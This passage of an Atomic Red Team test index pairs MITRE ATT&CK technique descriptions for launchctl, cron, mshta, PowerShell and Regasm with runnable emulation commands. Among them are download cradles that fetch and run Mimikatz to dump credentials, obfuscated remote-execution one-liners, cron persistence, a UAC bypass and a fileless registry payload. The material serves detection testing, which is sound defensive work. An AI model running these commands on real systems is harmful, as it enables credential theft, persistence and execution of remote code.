x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
name: Launchctl
description: "Launchctl controls the macOS launchd process which handles things
like launch agents and launch daemons, but can execute other commands or programs
itself. Launchctl supports taking subcommands on the command-line, interactively,
or even redirected from standard input. By loading or reloading launch agents
or launch daemons, adversaries can install persistence or execute changes
they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl
is as simple as launchctl submit -l -- /Path/to/thing/to/execute
\"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents
or launch daemons can require elevated privileges. \n\nAdversaries can abuse
this functionality to execute code or even bypass whitelisting if launchctl
is an allowed process."
x_mitre_remote_support: false
id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Knock Knock can be used to detect persistent programs such
as those installed via launchctl as launch agents or launch daemons. Additionally,
every launch agent or launch daemon must have a corresponding plist file on
disk somewhere which can be monitored. Monitor process execution from launchctl/launchd
for unusual or unknown processes.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-07-18T15:27:13.077Z'
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1152
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1152
- source_name: Sofacy Komplex Trojan
description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
x_mitre_defense_bypassed:
- Application whitelisting
- Process whitelisting
- Whitelisting by file name or path
identifier: T1152
atomic_tests:
- name: Launchctl
description: 'Utilize launchctl
'
supported_platforms:
- macos
executor:
name: sh
command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
'
T1168:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
x_mitre_permissions_required:
- Administrator
- User
- root
name: Local Job Scheduling
description: |-
On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).
### cron
System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.
Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.
### at
The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.
### launchd
Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.
id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Legitimate scheduled jobs may be created during installation
of new software or through administration functions. Jobs scheduled with launchd
and cron can be monitored from their respective utilities to list out detailed
information about the jobs. Monitor process execution resulting from launchd
and cron tasks to look for unusual or unknown applications and behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Anastasios Pingios
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1168
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1168
- source_name: Die.net Linux crontab Man Page
description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December
19, 2017.
url: https://linux.die.net/man/5/crontab
- source_name: Die.net Linux at Man Page
description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December
19, 2017.
url: https://linux.die.net/man/1/at
- source_name: AppleDocs Scheduling Timed Jobs
description: Apple. (n.d.). Retrieved July 17, 2017.
url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html
- source_name: Janicab
description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved
July 17, 2017.
url: http://www.thesafemac.com/new-signed-malware-called-janicab/
- source_name: Methods of Mac Malware Persistence
description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
- source_name: Malware Persistence on OS X
description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
Retrieved July 10, 2017.
url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf
- source_name: Avast Linux Trojan Cron Persistence
description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan
hiding itself with an embedded rootkit. Retrieved January 8, 2018.
url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/
modified: '2019-07-18T15:32:39.720Z'
identifier: T1168
atomic_tests:
- name: Cron - Replace crontab with referenced file
description: 'This test replaces the current user''s crontab file with the contents
of the referenced file. This technique was used by numerous IoT automated
exploitation attacks.
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
command:
description: Command to execute
type: string
default: "/tmp/evil.sh"
tmp_cron:
description: Temporary reference file to hold evil cron schedule
type: path
default: "/tmp/persistevil"
executor:
name: bash
command: 'echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
'
- name: Cron - Add script to cron folder
description: 'This test adds a script to a cron folder configured to execute
on a schedule. This technique was used by the threat actor Rocke during the
exploitation of Linux web servers.
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
command:
description: Command to execute
type: string
default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
cron_script_name:
description: Name of file to store in cron folder
type: string
default: persistevil
executor:
name: bash
command: 'echo "#{command}" > /etc/cron.daily/#{cron_script_name}
'
- name: Event Monitor Daemon Persistence
description: "This test adds persistence via a plist to execute via the macOS
Event Monitor Daemon. \n"
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: manual
steps: |
1. Place this file in /etc/emond.d/rules/atomicredteam.plist
name
atomicredteam
enabled
eventTypes
startup
actions
command
/usr/bin/say
user
root
arguments
-v Tessa
I am a persistent startup item.
type
RunCommand
2. Place an empty file in /private/var/db/emondClients/
3. sudo touch /private/var/db/emondClients/randomflag
T1170:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Mshta
description: "Mshta.exe is a utility that executes Microsoft HTML Applications
(HTA). HTA files have the file extension .hta. (Citation: Wikipedia
HTML Application) HTAs are standalone applications that execute using the
same models and technologies of Internet Explorer, but outside of the browser.
(Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy
execution of malicious .hta files and Javascript or VBScript through a trusted
Windows utility. There are several examples of different types of threats
leveraging mshta.exe during initial compromise and for execution of code (Citation:
Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation:
FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis)
(Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe
through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey
may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe
can be used to bypass application whitelisting solutions that do not account
for its potential use. Since mshta.exe executes outside of the Internet Explorer's
security context, it also bypasses browser security settings. (Citation: LOLBAS
Mshta)"
x_mitre_remote_support: false
id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec
modified: '2019-09-11T19:22:42.194Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
type: attack-pattern
x_mitre_detection: |-
Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.
Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ricardo Dias
- Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
created: '2018-01-16T16:13:52.465Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1170
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1170
- source_name: Wikipedia HTML Application
description: Wikipedia. (2017, October 14). HTML Application. Retrieved October
27, 2017.
url: https://en.wikipedia.org/wiki/HTML_Application
- source_name: MSDN HTML Applications
description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.
url: https://msdn.microsoft.com/library/ms536471.aspx
- source_name: Cylance Dust Storm
description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved
September 19, 2017.
url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf
- source_name: Red Canary HTA Abuse Part Deux
description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA)
Abuse, Part Deux. Retrieved October 27, 2017.
url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/
- source_name: FireEye Attacks Leveraging HTA
description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R.
(2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler.
Retrieved October 27, 2017.'
url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
- source_name: Airbus Security Kovter Analysis
description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis
Of Kovter Persistence. Retrieved December 5, 2017.
url: https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
- source_name: FireEye FIN7 April 2017
description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
LNK. Retrieved April 24, 2017.
url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
- source_name: LOLBAS Mshta
description: LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.
url: https://lolbas-project.github.io/lolbas/Binaries/Mshta/
x_mitre_defense_bypassed:
- Application whitelisting
- Digital Certificate Validation
identifier: T1170
atomic_tests:
- name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject
description: 'Test execution of a remote script using mshta.exe
'
supported_platforms:
- windows
input_arguments:
file_url:
description: location of the payload
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct
executor:
name: command_prompt
elevation_required: false
command: 'mshta.exe javascript:a=(GetObject(''script:#{file_url}'')).Exec();close();
'
T1086:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- PowerShell logs
- Loaded DLLs
- DLL monitoring
- Windows Registry
- File monitoring
- Process monitoring
- Process command-line parameters
name: PowerShell
description: "PowerShell is a powerful interactive command-line interface and
scripting environment included in the Windows operating system. (Citation:
TechNet PowerShell) Adversaries can use PowerShell to perform a number of
actions, including discovery of information and execution of code. Examples
include the Start-Process cmdlet which can be used to run an executable and
the Invoke-Command cmdlet which runs a command locally or on a remote computer.
\n\nPowerShell may also be used to download and run executables from the Internet,
which can be executed from disk or in memory without touching disk.\n\nAdministrator
permissions are required to use PowerShell to connect to remote systems.\n\nA
number of PowerShell-based offensive testing tools are available, including
[Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation:
Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts
can also be executed without directly invoking the powershell.exe binary through
interfaces to PowerShell's underlying System.Management.Automation assembly
exposed through the .NET framework and Windows Common Language Interface (CLI).
(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec
2015) (Citation: Microsoft PSfromCsharp APR 2014)"
x_mitre_remote_support: true
id: attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)
It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2017-05-31T21:31:06.512Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1086
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1086
- source_name: TechNet PowerShell
description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April
28, 2016.
url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
- source_name: Powersploit
description: PowerSploit. (n.d.). Retrieved December 4, 2014.
url: https://github.com/mattifestation/PowerSploit
- source_name: Github PSAttack
description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.
url: https://github.com/jaredhaight/PSAttack
- description: Warner, J.. (2015, January 6). Inexorable PowerShell – A Red
Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December
8, 2018.
source_name: Sixdub PowerPick Jan 2016
url: http://www.sixdub.net/?p=367
- description: Christensen, L.. (2015, December 28). The Evolution of Offensive
PowerShell Invocation. Retrieved December 8, 2018.
source_name: SilentBreak Offensive PS Dec 2015
url: https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
- description: Babinec, K. (2014, April 28). Executing PowerShell scripts from
C#. Retrieved April 22, 2019.
source_name: Microsoft PSfromCsharp APR 2014
url: https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
- source_name: Malware Archaeology PowerShell Cheat Sheet
description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
- source_name: FireEye PowerShell Logging 2016
description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH
POWERSHELL LOGGING. Retrieved February 16, 2016.
url: https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
modified: '2019-07-18T17:15:10.564Z'
identifier: T1086
atomic_tests:
- name: Mimikatz
description: 'Download Mimikatz and dump credentials
'
supported_platforms:
- windows
input_arguments:
mimurl:
description: Mimikatz url
type: url
default: https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
executor:
name: command_prompt
elevation_required: true
command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{mimurl}'');
Invoke-Mimikatz -DumpCreds"
'
- name: BloodHound
description: 'Download Bloodhound and run it
'
supported_platforms:
- windows
input_arguments:
bloodurl:
description: BloodHound URL
type: url
default: https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1
executor:
name: command_prompt
elevation_required: false
command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{bloodurl}'');
Invoke-BloodHound"
'
- name: Obfuscation Tests
description: |
Different obfuscated methods to test
Reaches out to bit.ly/L3g1t to stdout: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()
Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))
- name: Mimikatz - Cradlecraft PsSendKeys
description: 'Run mimikatz via PsSendKeys
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: "$url='https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object
-ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty
$reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP
$reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item
Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep
-Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds
500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable
_).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item
Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable
_).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item
Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP
$reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz
-dumpcr\n"
- name: Invoke-AppPathBypass
description: |
Note: Windows 10 only
Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'Powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'');
Invoke-AppPathBypass -Payload ''C:\Windows\System32\cmd.exe''"
'
- name: PowerShell Add User
description: 'Using PS 5.1, add a user via CLI
'
supported_platforms:
- windows
input_arguments:
user_name:
description: username to add
type: string
default: atomic_user
full_name:
description: Full name of user
type: string
default: Atomic Red Team
password:
description: password to use
type: string
default: ATOM1CR3DT3@M
description:
description: Brief description of account
type: string
default: Atomic Things
executor:
name: powershell
elevation_required: true
command: 'New-LocalUser -FullName ''#{full_name}'' -Name ''#{user_name}''
-Password #{password} -Description ''#{description}''
'
- name: Powershell MsXml COM object - no prompt
description: |
Provided by https://github.com/mgreen27/mgreen27.github.io
Powershell MsXml COM object.
Not proxy aware removing cache although does not appear to write to those locations
supported_platforms:
- windows
input_arguments:
url:
description: url of payload to execute
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1
executor:
name: command_prompt
elevation_required: false
command: 'powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object
-ComObject MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX
$comMsXml.ResponseText"
'
- name: Powershell MsXml COM object - with prompt
description: |
Provided by https://github.com/mgreen27/mgreen27.github.io
Powershell MsXml COM object.
Not proxy aware removing cache although does not appear to write to those locations
supported_platforms:
- windows
input_arguments:
url:
description: url of payload to execute
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1
executor:
name: command_prompt
elevation_required: false
command: 'powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject
MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX
$comMsXml.ResponseText"
'
- name: Powershell XML requests
description: |
Provided by https://github.com/mgreen27/mgreen27.github.io
Powershell xml download request
supported_platforms:
- windows
input_arguments:
url:
description: url of payload to execute
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xml
executor:
name: command_prompt
elevation_required: false
command: '"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec
bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(''#{url}'');$Xml.command.a.execute
| IEX"
'
- name: Powershell invoke mshta.exe download
description: |
Provided by https://github.com/mgreen27/mgreen27.github.io
Powershell invoke mshta to download payload
supported_platforms:
- windows
input_arguments:
url:
description: url of payload to execute
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/mshta.sct
executor:
name: powershell
elevation_required: false
command: '"C:\Windows\system32\cmd.exe" /c "mshta.exe javascript:a=GetObject(''script:#{url}'').Exec();close()"
'
- name: Powershell Invoke-DownloadCradle
description: |
Provided by https://github.com/mgreen27/mgreen27.github.io
Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
supported_platforms:
- windows
executor:
name: manual
steps: |
1. Open Powershell_ise as a Privileged Account
2. Invoke-DownloadCradle.ps1
- name: PowerShell Fileless Script Execution
description: 'Execution of a PowerShell payload from the Windows Registry similar
to that seen in fileless malware infections.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
REM Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="
powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
cleanup_command: |
del /Q /F %SystemRoot%\Temp\art-marker.txt
REG DELETE "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /f
- name: PowerShell Downgrade Attack
description: 'Attempts to run powershell commands in version 2.0 https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
prereq_command: 'if(2 -in $PSVersionTable.PSCompatibleVersions.Major){0}else{1}
'
command: 'powershell.exe -version 2 -Command Write-Host $PSVersion
'
- name: NTFS Alternate Data Stream Access
description: 'Creates a file with an alternate data stream and simulates executing
that hidden code/file
'
supported_platforms:
- windows
input_arguments:
ads_file:
description: File created to store Alternate Stream Data
type: String
default: "$env:TEMP\\NTFS_ADS.txt"
executor:
name: powershell
elevation_required: false
prereq_command: 'if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem
-contains "NTFS"){0}else{1}
'
command: |
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
cleanup_command: 'Remove:Item #{ads_file}
'
T1121:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Regsvcs/Regasm
description: |-
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
x_mitre_remote_support: false
id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302
modified: '2019-07-31T19:26:35.927Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
type: attack-pattern
x_mitre_detection: Use process monitoring to monitor the execution and arguments
of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and
Regasm.exe with prior history of known good arguments and executed binaries
to determine anomalous and potentially adversarial activity. Command arguments
used before and after Regsvcs.exe or Regasm.exe invocation may also be useful
in determining the origin and purpose of the binary being executed.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Casey Smith
created: '2017-05-31T21:31:33.499Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1121
url: https://attack.mitre.org/techniques/T1121
- description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool).
Retrieved July 1, 2016.
source_name: MSDN Regsvcs
url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx
- description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved
July 1, 2016.
source_name: MSDN Regasm
url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx
- description: LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.
source_name: LOLBAS Regsvcs
url: https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
- description: LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.
source_name: LOLBAS Regasm
url: https://lolbas-project.github.io/lolbas/Binaries/Regasm/
x_mitre_defense_bypassed:
- Process whitelisting
- Digital Certificate Validation
identifier: T1121
atomic_tests:
- name: Regasm Uninstall Method Call Test
description: 'Executes the Uninstall Method, No Admin Rights Required
'
supported_platforms:
- windows
input_arguments:
file_name:
description: Location of the payload
type: Path
default: T1121.dll
source_file:
description: Location of the CSharp source_file
type: Path
default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs
executor:
name: command_prompt
elevation_required: false
command: |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name}
del #{file_name}
- name: Regsvs Uninstall Method Call Test
description: 'Executes the Uninstall Method, No Admin Rights Required, Requires
SNK
'
supported_platforms:
- windows
input_arguments:
file_name:
description: Location of the payload
type: Path
default: T1121.dll
source_file:
description: Location of the CSharp source_file
type: Path
default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs
executor:
name: powershell
elevation_required: false
command: |
